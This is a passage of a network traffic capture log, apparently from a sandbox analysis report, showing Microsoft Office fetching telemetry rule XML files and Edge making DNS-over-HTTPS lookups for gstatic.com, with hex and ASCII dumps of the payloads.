2024-11-12 03:16:27 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-12 03:16:27 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-16547b76f7f7rtshhC1DFWrtqn0000000f2g00000000demr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-16547b76f7ftdm8dhC1DFWs13g0000000ex000000000rq5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5ead3c92-b01e-0084-18a1-34d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-15869dbbcc6x4rp4hC1DFW3t7w0000000k5g000000009yp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:27 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 41fe7c09-d01e-0028-68a0-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-15869dbbcc6tfpj2hC1DFW384c00000008xg000000006q8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ba2b82c-f01e-0071-33a3-34431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-15869dbbcc6bmgjfhC1DFWzfzs00000006f000000000dcz0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:27 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49783	162.159.61.3	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 03:16:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 03:16:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e135d09b8d70beb-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 03:16:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49784	162.159.61.3	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 03:16:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 03:16:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e135d09ce966bf5-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 03:16:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f4 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49786	172.64.41.3	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 03:16:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 03:16:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e135d0a0c5e2cc8-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 03:16:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$r^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:27 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-16547b76f7f7lhvnhC1DFWa2k00000000ewg00000000mu9r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:27 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031627Z-16547b76f7fvllnfhC1DFWxkg80000000f0g00000000m06z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
